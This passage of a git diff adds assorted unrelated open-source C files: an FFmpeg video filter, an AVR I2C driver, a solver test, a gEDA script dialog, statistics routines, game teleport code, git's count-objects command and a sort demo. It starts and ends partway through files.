+static void draw_slice(AVFilterLink *link, int y, int h, int slice_dir)
+{
+    SliceContext *slice = link->dst->priv;
+    int y2;
+
+    if (slice_dir == 1) {
+        for (y2 = y; y2 + slice->h <= y + h; y2 += slice->h)
+            avfilter_draw_slice(link->dst->outputs[0], y2, slice->h, slice_dir);
+
+        if (y2 < y + h)
+            avfilter_draw_slice(link->dst->outputs[0], y2, y + h - y2, slice_dir);
+    } else if (slice_dir == -1) {
+        for (y2 = y + h; y2 - slice->h >= y; y2 -= slice->h)
+            avfilter_draw_slice(link->dst->outputs[0], y2 - slice->h, slice->h, slice_dir);
+
+        if (y2 > y)
+            avfilter_draw_slice(link->dst->outputs[0], y, y2 - y, slice_dir);
+    }
+}
+
+AVFilter avfilter_vf_slicify = {
+    .name      = "slicify",
+    .description = NULL_IF_CONFIG_SMALL("Pass the images of input video on to next video filter as multiple slices."),
+
+    .init      = init,
+
+    .priv_size = sizeof(SliceContext),
+
+    .inputs    = (const AVFilterPad[]) {{ .name       = "default",
+                                    .type             = AVMEDIA_TYPE_VIDEO,
+                                    .get_video_buffer = ff_null_get_video_buffer,
+                                    .start_frame      = start_frame,
+                                    .draw_slice       = draw_slice,
+                                    .config_props     = config_props,
+                                    .end_frame        = ff_null_end_frame, },
+                                  { .name = NULL}},
+    .outputs   = (const AVFilterPad[]) {{ .name      = "default",
+                                    .type            = AVMEDIA_TYPE_VIDEO, },
+                                  { .name = NULL}},
+};
diff --git a/pool/shard001/C/0022325_i2c_arch.c b/pool/shard001/C/0022325_i2c_arch.c
new file mode 100644
index 0000000000000000000000000000000000000000..f427a64008f009ff042ca948091680c82481cb3e
--- /dev/null
+++ b/pool/shard001/C/0022325_i2c_arch.c
@@ -0,0 +1,163 @@
+/*
+ * $Id$
+ *
+ * Copyright (C) 2005  Pascal Brisset, Antoine Drouin
+ *
+ * This file is part of paparazzi.
+ *
+ * paparazzi is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2, or (at your option)
+ * any later version.
+ *
+ * paparazzi is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with paparazzi; see the file COPYING.  If not, write to
+ * the Free Software Foundation, 59 Temple Place - Suite 330,
+ * Boston, MA 02111-1307, USA.
+ *
+ */
+/** \file i2c_ap.c
+ *  \brief Basic library for I2C
+ *
+ */
+
+#include <avr/signal.h>
+#include <avr/interrupt.h>
+#include "i2c_ap.h"
+#include "std.h"
+
+
+#define TWI_START 0x08
+#define TWI_RESTART 0x10
+#define MT_SLA_ACK 0x18
+#define MT_SLA_NACK 0x20
+#define MR_SLA_ACK 0x40
+#define MR_SLA_NACK 0x48
+#define MT_DATA_ACK 0x28
+#define MR_DATA_ACK 0x50
+#define MR_DATA_NACK 0x58
+
+uint8_t twi_sla;
+uint8_t i2c_buf[TWI_BUF_LEN];
+uint8_t twi_index, twi_len;
+volatile bool_t i2c_idle;
+uint8_t i2c_debug;
+static bool_t *twi_end;
+
+#define I2cStart() i2c_idle = FALSE; *twi_end = FALSE; TWCR=_BV(TWINT)|_BV(TWSTA)|_BV(TWEN)|_BV(TWIE);
+#define I2cStop()  i2c_idle= TRUE; *twi_end = TRUE; TWCR=_BV(TWINT)|_BV(TWSTO)|_BV(TWEN);
+#define I2cReceive(_ack) TWCR=_BV(TWINT)|_BV(TWEN)| (_ack ? _BV(TWEA) : 0)|_BV(TWIE);
+#define I2cReceiveAck TWCR=_BV(TWINT)|_BV(TWEN)| _BV(TWEA) |_BV(TWIE);
+#define I2cReceiveNAck TWCR=_BV(TWINT)|_BV(TWEN)| _BV(TWIE);
+
+#define I2cSendByte(a) { \
+  TWDR= a; \
+  TWCR=_BV(TWINT)|_BV(TWEN)|_BV(TWIE); \
+}
+
+#define I2cSendSlaW(a) I2cSendSla(a | I2C_WRITE)
+#define I2cSendSlaR(a) I2cSendSla(a | I2C_READ)
+
+
+SIGNAL(SIG_2WIRE_SERIAL) {
+  //  i2c_debug = TWSR;
+  switch (TWSR & 0xF8) {
+  case TWI_START:
+  case TWI_RESTART:
+    I2cSendByte(twi_sla);
+    twi_index = 0;
+    break;
+  case MR_DATA_ACK:
+    i2c_buf[twi_index] = TWDR;
+    twi_index++;
+    /* Continue */
+  case MR_SLA_ACK: /* At least one char */
+    I2cReceive(twi_len>twi_index+1); /* Wait and reply with ACK or NACK */
+    break;
+  case MR_SLA_NACK:
+  case MT_SLA_NACK:
+    I2cStart();
+    break;
+  case MT_SLA_ACK:
+  case MT_DATA_ACK:
+    if (twi_index < twi_len) {
+      I2cSendByte(i2c_buf[twi_index]);
+      twi_index++;
+      return;
+    } /* Else Stop */
+  case MR_DATA_NACK:
+    i2c_debug = twi_index;
+    i2c_buf[twi_index] = TWDR;
+    /* Then Stop */
+  default:
+    I2cStop();
+  }
+}
+
+void i2c_send(uint8_t sla, uint8_t _twi_len, bool_t* finished) {
+  i2c_debug = 0x32;
+  twi_len = _twi_len;
+  twi_sla = I2C_TRANSMIT | sla;
+  twi_end = finished;
+  I2cStart();
+}
+
+void i2c_get(uint8_t sla, uint8_t _twi_len, bool_t* finished) {
+  twi_len = _twi_len;
+  twi_sla = I2C_RECEIVE | sla;
+  twi_end = finished;
+  I2cStart();
+}
+
+
+uint8_t i2c_start(void) {
+  TWCR=_BV(TWINT)|_BV(TWSTA)|_BV(TWEN);
+  while (! (TWCR & (1<<TWINT)));
+  return ((TWSR & 0xF8) != TWI_START);
+}
+
+uint8_t i2c_sla(uint8_t a) {
+  TWDR= a;
+  TWCR=_BV(TWINT)|_BV(TWEN);
+
+  while (! (TWCR & (1<<TWINT)));
+
+  return ((TWSR & 0xF8) != MT_SLA_ACK);
+}
+
+uint8_t i2c_transmit(uint8_t byte) {
+  TWDR= byte;
+  TWCR=_BV(TWINT)|_BV(TWEN);
+
+  while (! (TWCR & (1<<TWINT)));
+
+  /***/return I2C_NO_ERROR;
+  return ((TWSR & 0xF8) != MT_DATA_ACK);
+}
+
+uint8_t i2c_receive(uint8_t ack) {
+  if (ack == I2C_CONTINUE)
+    TWCR=_BV(TWINT)|_BV(TWEN)|_BV(TWEA);
+  else
+    TWCR=_BV(TWINT)|_BV(TWEN);
+  while (! (TWCR & (1<<TWINT)));
+  uint8_t byte = TWDR;
+  return byte;
+}
+
+void i2c_init(void) {
+  /** 100 KHz */
+  TWBR = 72;
+  cbi(TWSR, TWPS1);
+  cbi(TWSR, TWPS0);
+  /** 10 KHz
+  TWBR = 198;
+  cbi(TWSR, TWPS1);
+  sbi(TWSR, TWPS0);
+  */
+}
diff --git a/pool/shard001/C/0022334_lcp_test_function.c b/pool/shard001/C/0022334_lcp_test_function.c
new file mode 100644
index 0000000000000000000000000000000000000000..cd9e9700ad66e7fcdaebea56f1fa16e456a5a48f
--- /dev/null
+++ b/pool/shard001/C/0022334_lcp_test_function.c
@@ -0,0 +1,179 @@
+/* Siconos is a program dedicated to modeling, simulation and control
+ * of non smooth dynamical systems.
+ *
+ * Copyright 2016 INRIA.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+*/
+#define _XOPEN_SOURCE 700
+#include <string.h>
+
+#if (__linux ||  __APPLE__)
+#elif _MSC_VER
+#define strdup _strdup
+#else
+static inline char* strdup(char* src)
+{
+  size_t len = strlen(src) + 1;
+  char* dest = (char*)malloc(len * sizeof(char));
+  strcpy(dest, src, len);
+  return dest;
+}
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <math.h>
+
+#include "NonSmoothDrivers.h"
+#include "lcp_test_function.h"
+#include "GAMSlink.h"
+#include "lcp_cst.h"
+#include "LCP_Solvers.h"
+#include "LinearComplementarityProblem.h"
+#include "SolverOptions.h"
+#include "SiconosCompat.h"
+
+#ifdef __cplusplus
+using namespace std;
+#endif
+
+int lcp_test_function(FILE * f, int solverId, char* filename)
+{
+
+  int i, info = 0 ;
+  LinearComplementarityProblem* problem = (LinearComplementarityProblem *)malloc(sizeof(LinearComplementarityProblem));
+
+  info = linearComplementarity_newFromFile(problem, f);
+
+  FILE * foutput  =  fopen("./lcp_mmc.verif", "w");
+  info = linearComplementarity_printInFile(problem, foutput);
+  fclose(foutput);
+  SolverOptions options;
+  solver_options_set(&options, solverId);
+
+#ifdef HAVE_GAMS_C_API
+  if (solverId == SICONOS_LCP_GAMS)
+  {
+    SN_GAMSparams* GP = (SN_GAMSparams*)options.solverParameters;
+    assert(GP);
+    GP->model_dir = strdup(GAMS_MODELS_SOURCE_DIR);
+    assert(filename);
+    GP->filename = filename;
+  }
+#endif
+
+  double * z = (double *)calloc(problem->size, sizeof(double));
+  double * w = (double *)calloc(problem->size, sizeof(double));
+
+  info = linearComplementarity_driver(problem, z , w, &options);
+
+  for (i = 0 ; i < problem->size ; i++)
+  {
+    printf("z[%i] = %12.8e\t,w[%i] = %12.8e\n", i, z[i], i, w[i]);
+    info = info == 0 ? !(isfinite(z[i]) && isfinite(w[i])): info;
+  }
+
+
+  if (!info)
+  {
+    printf("test succeeded err = %e \n", options.dparam[1]);
+  }
+  else
+  {
+    printf("test unsuccessful err =%e  \n", options.dparam[1]);
+  }
+  free(z);
+  free(w);
+
+  solver_options_delete(&options);
+
+  if (solverId == SICONOS_LCP_GAMS)
+  {
+    free(options.solverParameters);
+    options.solverParameters = NULL;
+  }
+
+  freeLinearComplementarityProblem(problem);
+  printf("End of test.\n");
+
+
+  return info;
+}
+
+int lcp_test_function_SBM(FILE * f, int solverId)
+{
+
+  int i, info = 0 ;
+  LinearComplementarityProblem* problem = (LinearComplementarityProblem *)malloc(sizeof(LinearComplementarityProblem));
+
+  info = linearComplementarity_newFromFile(problem, f);
+
+  FILE * foutput  =  fopen("./lcp_mmc.verif", "w");
+  info = linearComplementarity_printInFile(problem, foutput);
+  SolverOptions * options = (SolverOptions *)malloc(sizeof(SolverOptions));
+
+
+
+  info = linearComplementarity_setDefaultSolverOptions(problem, options, SICONOS_LCP_NSGS_SBM);
+
+  solver_options_set(options->internalSolvers, solverId);
+
+#ifdef HAVE_GAMS_C_API
+  if (solverId == SICONOS_LCP_GAMS)
+  {
+    // no testing for now
+    solver_options_delete(options);
+    free(options);
+    freeLinearComplementarityProblem(problem);
+    fclose(foutput);
+    return 0;
+  }
+#endif
+
+
+
+  double * z = (double *)calloc(problem->size, sizeof(double));
+  double * w = (double *)calloc(problem->size, sizeof(double));
+
+  info = linearComplementarity_driver(problem, z , w, options);
+
+  for (i = 0 ; i < problem->size ; i++)
+  {
+    printf("z[%i] = %12.8e\t,w[%i] = %12.8e\n", i, z[i], i, w[i]);
+  }
+
+  if (!info)
+  {
+    printf("test succeeded err=%e \n", options->dparam[1]);
+  }
+  else
+  {
+    printf("test unsuccessful err =%e \n", options->dparam[1]);
+  }
+  free(z);
+  free(w);
+  // info = linearComplementarity_deleteDefaultSolverOptions(&options,solvername);
+
+  solver_options_delete(options);
+  free(options);
+
+  freeLinearComplementarityProblem(problem);
+  fclose(foutput);
+
+  return info;
+
+
+}
+
+
diff --git a/pool/shard001/C/0022335_x_script.c b/pool/shard001/C/0022335_x_script.c
new file mode 100644
index 0000000000000000000000000000000000000000..e8cac608bed748e03ef2110e9f0158989821dd6b
--- /dev/null
+++ b/pool/shard001/C/0022335_x_script.c
@@ -0,0 +1,70 @@
+/* gEDA - GPL Electronic Design Automation
+ * gschem - gEDA Schematic Capture
+ * Copyright (C) 1998-2010 Ales Hvezda
+ * Copyright (C) 1998-2010 gEDA Contributors (see ChangeLog for details)
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+/*! \todo CLEAN up line length in this file */
+#include <config.h>
+
+#include <stdio.h>
+#ifdef HAVE_STDLIB_H
+#include <stdlib.h>
+#endif
+#ifdef HAVE_STRING_H
+#include <string.h>
+#endif
+
+#include "gschem.h"
+
+/*! \brief Select a script and execute it
+ *  \par Function Description
+ *  This function opens a file selection dialog. The selected script 
+ *  is executed.
+ */
+void setup_script_selector (GschemToplevel *w_current)
+{
+  char *filename;
+
+  w_current->sowindow =
+    gtk_file_chooser_dialog_new (_("Execute Script..."),
+				 GTK_WINDOW(w_current->main_window),
+				 GTK_FILE_CHOOSER_ACTION_OPEN,
+				 GTK_STOCK_CANCEL, 
+				 GTK_RESPONSE_CANCEL,
+				 GTK_STOCK_EXECUTE, 
+				 GTK_RESPONSE_ACCEPT,
+				 NULL);
+
+  /* Set the alternative button order (ok, cancel, help) for other systems */
+  gtk_dialog_set_alternative_button_order(GTK_DIALOG(w_current->sowindow),
+					  GTK_RESPONSE_ACCEPT,
+					  GTK_RESPONSE_CANCEL,
+					  -1);
+
+  if (gtk_dialog_run (GTK_DIALOG (w_current->sowindow)) == GTK_RESPONSE_ACCEPT) {
+    filename = gtk_file_chooser_get_filename (GTK_FILE_CHOOSER (w_current->sowindow));
+
+    if (!(g_file_test(filename, G_FILE_TEST_IS_DIR))) {
+      s_log_message(_("Executing guile script [%s]\n"), filename);
+      g_read_file(w_current->toplevel, filename, NULL);
+    }
+    g_free (filename);
+  }
+
+  gtk_widget_destroy (GTK_WIDGET(w_current->sowindow));
+  w_current->sowindow = NULL;
+}
diff --git a/pool/shard001/C/0022346_hazrd2.c b/pool/shard001/C/0022346_hazrd2.c
new file mode 100644
index 0000000000000000000000000000000000000000..035624a0b9c43de1d82e557ca73ccfbb64dfc15c
--- /dev/null
+++ b/pool/shard001/C/0022346_hazrd2.c
@@ -0,0 +1,182 @@
+#include <string.h>
+#include <math.h>
+
+#include "hazard.h"
+#include "hazrd2.h"
+#include "theta_x.h"
+#include "setidxs.h"
+#include "phasidx.h"
+#include "hazrerr.h"
+#include "hazrd3.h"
+#include "hazrd4.h"
+#include <setcoe.h>
+#include <setlik.h>
+#include <setobj.h>
+#include <hzfxpc.h>
+#include <hzfxpf.h>
+#include <hzfskp.h>
+      
+#include <hzfpag.h>
+#include <hzflg2.h>
+
+#include <constp.h>
+
+void HAZRD2(void){
+  CLEAR(H->vstep);
+  CLEAR(H->fstep);
+  H->zstep = ZERO;
+  H->pstep = ZERO;
+  O->ostep = O->ordmax;
+  H->lstvar = 0;
+  svnewt = H->newton;
+  svhess = H->truhes;
+  H->newton = swnewt;
+  H->truhes = swhess;
+  hz2stop = FALSE;
+  while(!hz2stop)
+    HZ2LOOP();
+  if(C->errorno!=0)
+    H->nocov = 1;
+  HZ5G();
+}
+
+void HZ2LOOP(void){
+  int i,j;
+
+  hz2stop = TRUE;
+  for(i=0; i<H->maxn; i++) {
+    H->index[i] = 0;
+    H->x[i] = 0;
+    H->nm1dx[i] = 0;
+    CLEAR(H->namex[i]);
+    CLEAR(H->lablx[i]);
+  }
+  H->retry = 1;
+  i = 0;
+  if(C->phase[1]==1)
+    for(j=0; j<4; j++)
+      if(C->status[j]==1)
+	setidxs(i++,j);
+  if(C->phase[3]==1)
+    for(j=4; j<8; j++)
+      if(C->status[j]==1)
+	setidxs(i++,j);
+  phasidx(&i,1,8,C->p+8);
+  phasidx(&i,2,C->p+9,2*C->p+9);
+  phasidx(&i,3,2*C->p+10,3*C->p+10);
+  H->N = i;
+  if(H->N>tally)
+    HAZ2TRM(7104);
+  H->only1 = (H->N==1 && H->mode!=2);
+  if(H->only1==0 && O->itrlmt>0)
+    DOOPTIM();
+  else
+    NOOPTIM();
+  theta_x();
+  HZ4G();
+  if(C->errorno==999)
+    hazrerr();
+  if((H->sw==1 || H->bw==1 || H->f==1) && H->done==0) {
+    if(H->mode!=2)
+      constp();
+    if(C->errorno==1)
+      HAZ2TRM(9900);
+    else if(C->errorno==2)
+      HAZ2TRM(9910);
+    H->step++;
+    H->newton = svnewt;
+    H->truhes = svhess;
+    hz2stop = FALSE;
+  }
+}
+
+void DOOPTIM(void){
+  int j,j1;
+
+  if(H->mode==0) {
+    j1 = 0;
+    for(j=0; j<H->N; j++){
+      if(!((C->phase[1]==1 && H->fixmu==1 && H->index[j]==8) ||
+	   (C->phase[2]==1 && H->fixmu==2 && H->index[j]==C->p+9) ||
+	   (C->phase[3]==1 && H->fixmu==3 && H->index[j]==2*C->p+10))){
+	SETOPTX(j,j1++);
+      }
+    }
+  } else{
+    for(j=0; j<H->N; j++){
+      SETOPTX(j,j);
+    }
+  }
+  HAZRD3();
+  if(C->errorno==999)
+    hazrerr();
+  if(H->retry==2) {
+    if(H->mode!=2)
+      constp();
+    hz2stop = FALSE;
+  }
+}
+
+void SETOPTX(int ixf,int ixt){
+  H->nm1dx[ixt] = H->index[ixf];
+  H->x0[ixt] = H->x[ixf];
+  H->typx[ixt] = fabs(H->x[ixf]);
+  if(H->x[ixf]==ZERO)
+    H->typx[ixt] = ONE;
+  if(H->index[ixf]==H->hpsn && H->swadel==2)
+    H->typx[ixt] = fabs(H->qx[H->hpsn]);
+}
+
+void NOOPTIM(void){
+  double llike;
+
+  if(O->itrlmt==0)
+    dllike(&llike);
+  else {
+    DCEOBJ(&llike);
+    llike = -llike;
+  }
+  if(C->errorno==1)
+    HAZ2TRM(9900);
+  else if(C->errorno==2)
+    HAZ2TRM(9910);
+  H->slike = llike;
+  hzfxpc("Log Likelihood = ",17,9);
+  hzfxpf(llike,12,99,0);
+  hzfskp(2);
+}
+
+void HAZ2TRM(int errcode){
+  hzfpag(10);
+  hzfskp(1);
+  hzfxpc("*-------------*",15,4);
+  hzfskp(1);
+  hzfxpc("| Termination |",15,4);
+  hzfskp(1);
+  hzfxpc("*-------------*",15,4);
+  hzfskp(2);
+  switch(errcode) {
+  case 7104:
+    hzfxpc("The number of parameters to be estimated",40,7);
+    hzfxpc(" is greater than the number of events. ",39,0);
+    hzfxpc(" Procedure is terminated.",25,0);
+    hzfskp(1);
+    hzflg2("ERROR: Num of parms to estimate is greater",42,
+	   " than the num of events.",24);
+    break;
+  case 9900:
+    hzfxpc("A computation has exceeded its limits",37,5);
+    hzfxpc(C->errflg,12,-1);
+    hzfskp(1);
+    hzflg2("ERROR: Computation has exceeded limit ",40,
+	   C->errflg,12);
+    break;
+  case 9910:
+    hzfxpc("Internal sign violation, possibly data or",41,5);
+    hzfxpc("specification dependent",23,-1);
+    hzfxpc(C->errflg,12,-1);
+    hzfskp(1);
+    hzflg2("ERROR: Internal sign violation ",33,C->errflg,12);
+  }
+  hazrerr();
+}
diff --git a/pool/shard001/C/0022349_p_telept.c b/pool/shard001/C/0022349_p_telept.c
new file mode 100644
index 0000000000000000000000000000000000000000..9b4e8d713f06faee065ef4fe358936e40dc800dd
--- /dev/null
+++ b/pool/shard001/C/0022349_p_telept.c
@@ -0,0 +1,167 @@
+//
+// Copyright(C) 1993-1996 Id Software, Inc.
+// Copyright(C) 1993-2008 Raven Software
+// Copyright(C) 2005-2014 Simon Howard
+// Copyright(C) 2016-2022 Julian Nechaevsky
+//
+// This program is free software; you can redistribute it and/or
+// modify it under the terms of the GNU General Public License
+// as published by the Free Software Foundation; either version 2
+// of the License, or (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// P_telept.c
+
+
+
+#include "doomdef.h"
+#include "p_local.h"
+#include "s_sound.h"
+#include "v_video.h"
+
+//----------------------------------------------------------------------------
+//
+// FUNC P_Teleport
+//
+//----------------------------------------------------------------------------
+
+boolean P_Teleport(mobj_t * thing, fixed_t x, fixed_t y, angle_t angle)
+{
+    fixed_t oldx;
+    fixed_t oldy;
+    fixed_t oldz;
+    fixed_t aboveFloor;
+    fixed_t fogDelta;
+    player_t *player;
+    unsigned an;
+    mobj_t *fog;
+
+    oldx = thing->x;
+    oldy = thing->y;
+    oldz = thing->z;
+    aboveFloor = thing->z - thing->floorz;
+    if (!P_TeleportMove(thing, x, y))
+    {
+        return (false);
+    }
+    if (thing->player)
+    {
+        player = thing->player;
+        if (player->powers[pw_flight] && aboveFloor)
+        {
+            thing->z = thing->floorz + aboveFloor;
+            if (thing->z + thing->height > thing->ceilingz)
+            {
+                thing->z = thing->ceilingz - thing->height;
+            }
+            player->viewz = thing->z + player->viewheight;
+        }
+        else
+        {
+            thing->z = thing->floorz;
+            player->viewz = thing->z + player->viewheight;
+            player->lookdir = 0;
+        }
+    }
+    else if (thing->flags & MF_MISSILE)
+    {
+        thing->z = thing->floorz + aboveFloor;
+        if (thing->z + thing->height > thing->ceilingz)
+        {
+            thing->z = thing->ceilingz - thing->height;
+        }
+    }
+    else
+    {
+        thing->z = thing->floorz;
+    }
+    // Spawn teleport fog at source and destination
+    fogDelta = thing->flags & MF_MISSILE ? 0 : TELEFOGHEIGHT;
+    fog = P_SpawnMobj(oldx, oldy, oldz + fogDelta, MT_TFOG);
+    S_StartSound(fog, sfx_telept);
+    an = angle >> ANGLETOFINESHIFT;
+    fog = P_SpawnMobj(x + 20 * finecosine[an],
+                      y + 20 * finesine[an], thing->z + fogDelta, MT_TFOG);
+    S_StartSound(fog, sfx_telept);
+    if (thing->player && !thing->player->powers[pw_weaponlevel2])
+    {                           // Freeze player for about .5 sec
+        thing->reactiontime = 18;
+    }
+    thing->angle = angle;
+    if (thing->flags2 & MF2_FOOTCLIP
+        && P_GetThingFloorType(thing) != FLOOR_SOLID)
+    {
+        thing->flags2 |= MF2_FEETARECLIPPED;
+    }
+    else if (thing->flags2 & MF2_FEETARECLIPPED)
+    {
+        thing->flags2 &= ~MF2_FEETARECLIPPED;
+    }
+    if (thing->flags & MF_MISSILE)
+    {
+        angle >>= ANGLETOFINESHIFT;
+        thing->momx = FixedMul(thing->info->speed, finecosine[angle]);
+        thing->momy = FixedMul(thing->info->speed, finesine[angle]);
+    }
+    else
+    {
+        thing->momx = thing->momy = thing->momz = 0;
+    }
+    return (true);
+}
+
+//----------------------------------------------------------------------------
+//
+// FUNC EV_Teleport
+//
+//----------------------------------------------------------------------------
+
+boolean EV_Teleport(line_t * line, int side, mobj_t * thing)
+{
+    int i;
+    int tag;
+    mobj_t *m;
+    thinker_t *thinker;
+    sector_t *sector;
+
+    if (thing->flags2 & MF2_NOTELEPORT)
+    {
+        return (false);
+    }
+    if (side == 1)
+    {                           // Don't teleport when crossing back side
+        return (false);
+    }
+    tag = line->tag;
+    for (i = 0; i < numsectors; i++)
+    {
+        if (sectors[i].tag == tag)
+        {
+            thinker = thinkercap.next;
+            for (thinker = thinkercap.next; thinker != &thinkercap;
+                 thinker = thinker->next)
+            {
+                if (thinker->function != P_MobjThinker)
+                {               // Not a mobj
+                    continue;
+                }
+                m = (mobj_t *) thinker;
+                if (m->type != MT_TELEPORTMAN)
+                {               // Not a teleportman
+                    continue;
+                }
+                sector = m->subsector->sector;
+                if (sector - sectors != i)
+                {               // Wrong sector
+                    continue;
+                }
+                return (P_Teleport(thing, m->x, m->y, m->angle));
+            }
+        }
+    }
+    return (false);
+}
diff --git a/pool/shard001/C/0022354_builtin-count-objects.c b/pool/shard001/C/0022354_builtin-count-objects.c
new file mode 100644
index 0000000000000000000000000000000000000000..f00306fb677acb6003444b931dc9b2bf719bc562
--- /dev/null
+++ b/pool/shard001/C/0022354_builtin-count-objects.c
@@ -0,0 +1,128 @@
+/*
+ * Builtin "git count-objects".
+ *
+ * Copyright (c) 2006 Junio C Hamano
+ */
+
+#include "cache.h"
+#include "builtin.h"
+#include "parse-options.h"
+
+static void count_objects(DIR *d, char *path, int len, int verbose,
+			  unsigned long *loose,
+			  unsigned long *loose_size,
+			  unsigned long *packed_loose,
+			  unsigned long *garbage)
+{
+	struct dirent *ent;
+	while ((ent = readdir(d)) != NULL) {
+		char hex[41];
+		unsigned char sha1[20];
+		const char *cp;
+		int bad = 0;
+
+		if ((ent->d_name[0] == '.') &&
+		    (ent->d_name[1] == 0 ||
+		     ((ent->d_name[1] == '.') && (ent->d_name[2] == 0))))
+			continue;
+		for (cp = ent->d_name; *cp; cp++) {
+			int ch = *cp;
+			if (('0' <= ch && ch <= '9') ||
+			    ('a' <= ch && ch <= 'f'))
+				continue;
+			bad = 1;
+			break;
+		}
+		if (cp - ent->d_name != 38)
+			bad = 1;
+		else {
+			struct stat st;
+			memcpy(path + len + 3, ent->d_name, 38);
+			path[len + 2] = '/';
+			path[len + 41] = 0;
+			if (lstat(path, &st) || !S_ISREG(st.st_mode))
+				bad = 1;
+			else
+				(*loose_size) += xsize_t(st.st_blocks);
+		}
+		if (bad) {
+			if (verbose) {
+				error("garbage found: %.*s/%s",
+				      len + 2, path, ent->d_name);
+				(*garbage)++;
+			}
+			continue;
+		}
+		(*loose)++;
+		if (!verbose)
+			continue;
+		memcpy(hex, path+len, 2);
+		memcpy(hex+2, ent->d_name, 38);
+		hex[40] = 0;
+		if (get_sha1_hex(hex, sha1))
+			die("internal error");
+		if (has_sha1_pack(sha1, NULL))
+			(*packed_loose)++;
+	}
+}
+
+static char const * const count_objects_usage[] = {
+	"git-count-objects [-v]",
+	NULL
+};
+
+int cmd_count_objects(int argc, const char **argv, const char *prefix)
+{
+	int i, verbose = 0;
+	const char *objdir = get_object_directory();
+	int len = strlen(objdir);
+	char *path = xmalloc(len + 50);
+	unsigned long loose = 0, packed = 0, packed_loose = 0, garbage = 0;
+	unsigned long loose_size = 0;
+	struct option opts[] = {
+		OPT__VERBOSE(&verbose),
+		OPT_END(),
+	};
+
+	argc = parse_options(argc, argv, opts, count_objects_usage, 0);
+	/* we do not take arguments other than flags for now */
+	if (argc)
+		usage_with_options(count_objects_usage, opts);
+	memcpy(path, objdir, len);
+	if (len && objdir[len-1] != '/')
+		path[len++] = '/';
+	for (i = 0; i < 256; i++) {
+		DIR *d;
+		sprintf(path + len, "%02x", i);
+		d = opendir(path);
+		if (!d)
+			continue;
+		count_objects(d, path, len, verbose,
+			      &loose, &loose_size, &packed_loose, &garbage);
+		closedir(d);
+	}
+	if (verbose) {
+		struct packed_git *p;
+		unsigned long num_pack = 0;
+		if (!packed_git)
+			prepare_packed_git();
+		for (p = packed_git; p; p = p->next) {
+			if (!p->pack_local)
+				continue;
+			if (open_pack_index(p))
+				continue;
+			packed += p->num_objects;
+			num_pack++;
+		}
+		printf("count: %lu\n", loose);
+		printf("size: %lu\n", loose_size / 2);
+		printf("in-pack: %lu\n", packed);
+		printf("packs: %lu\n", num_pack);
+		printf("prune-packable: %lu\n", packed_loose);
+		printf("garbage: %lu\n", garbage);
+	}
+	else
+		printf("%lu objects, %lu kilobytes\n",
+		       loose, loose_size / 2);
+	return 0;
+}
diff --git a/pool/shard001/C/0022367_combsort.c b/pool/shard001/C/0022367_combsort.c
new file mode 100644
index 0000000000000000000000000000000000000000..c83d7a57cd56729e41430a17581b0cf7d6dc4138
--- /dev/null
+++ b/pool/shard001/C/0022367_combsort.c
@@ -0,0 +1,29 @@
+#include <stdio.h>
+#include "../../../utils/utils.h"
+
+
+void comb_sort(int a[], int n) {
+    float shrink_factor = 1.247330950103979;
+    int gap = n;
+    int swapped = 1;
+    while ((gap > 1) || swapped) {
+        if (gap > 1) gap = gap / shrink_factor;
+
+        swapped = 0;
+        for (int i = 0; i+gap < n; ++i)
+            if (a[i] > a[i+gap]) {
+                swap(&a[i], &a[i+gap]);
+                swapped = 1;
+            }
+    }
+}
+
+int main(void) {
+    int a[20];
+    random_array(a, 20);
+    print_array(a, 20);
+    comb_sort(a, 20);
+    print_array(a, 20);
+
+    return 0;
+}
diff --git a/pool/shard001/C/0022371_main.c b/pool/shard001/C/0022371_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..a2de892004d3174c0aa71eaeb54e1e027fb700b2
--- /dev/null
+++ b/pool/shard001/C/0022371_main.c
@@ -0,0 +1,159 @@
+/*
+    ChibiOS - Copyright (C) 2006..2015 Giovanni Di Sirio
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+        http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+*/
+
+#include "ch.h"
+#include "hal.h"
+
+/*
+ * Maximum speed SPI configuration (18MHz, CPHA=0, CPOL=0, MSb first).
+ */
+static const SPIConfig hs_spicfg = {
+  NULL,
+  GPIOB,
+  10,
+  0,
+  SPI_CR2_DS_2 | SPI_CR2_DS_1 | SPI_CR2_DS_0
+};
+
+/*
+ * Low speed SPI configuration (140.625kHz, CPHA=0, CPOL=0, MSb first).
+ */
+static const SPIConfig ls_spicfg = {
+  NULL,
+  GPIOB,
+  10,
+  SPI_CR1_BR_2 | SPI_CR1_BR_1,
